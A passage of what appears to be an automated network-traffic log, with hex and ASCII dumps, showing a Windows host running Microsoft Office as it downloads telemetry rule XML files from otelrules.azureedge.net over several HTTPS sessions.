2024-11-10 18:45:13 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:13 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:13 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184513Z-16547b76f7f9bs6dhC1DFWt3rg0000000d3g000000000ebk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:13 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	517	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 96da997d-001e-0028-355d-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184513Z-16547b76f7fj5p7mhC1DFWf8w40000000d5g0000000074qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:13 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d0f3247f-701e-0053-2699-313a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184513Z-17df447cdb5lrwcchC1DFWphes00000009a000000000dtbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: aacd51df-e01e-003c-26b2-31c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184513Z-15869dbbcc6b2ncxhC1DFWu4ss00000003ng00000000a1a1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:13 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 550fc812-401e-005b-7504-339c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184513Z-17df447cdb5w28bthC1DFWgb6400000008zg00000000epda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:14 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:14 UTC	517	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184514Z-16547b76f7fj5p7mhC1DFWf8w40000000d70000000003378 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 36c217ee-101e-008e-63b5-2fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184514Z-15869dbbcc6rmhmhhC1DFWr8y00000000550000000001su1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:14 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:14 UTC	517	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 86fb53ab-501e-0078-4ed2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184514Z-16547b76f7fdf69shC1DFWcpd00000000cv000000000mbrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:14 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:14 UTC	517	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184514Z-16547b76f7fmbrhqhC1DFWkds80000000d3g000000007gdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:14 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: a7bc6bd2-a01e-0053-4f0c-328603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184514Z-15869dbbcc6rnr5chC1DFWwtp400000001v0000000000w3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:15 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 096f5268-e01e-0033-1f6c-324695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184515Z-17df447cdb5qt2nfhC1DFWzhgw00000006fg00000000nf3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
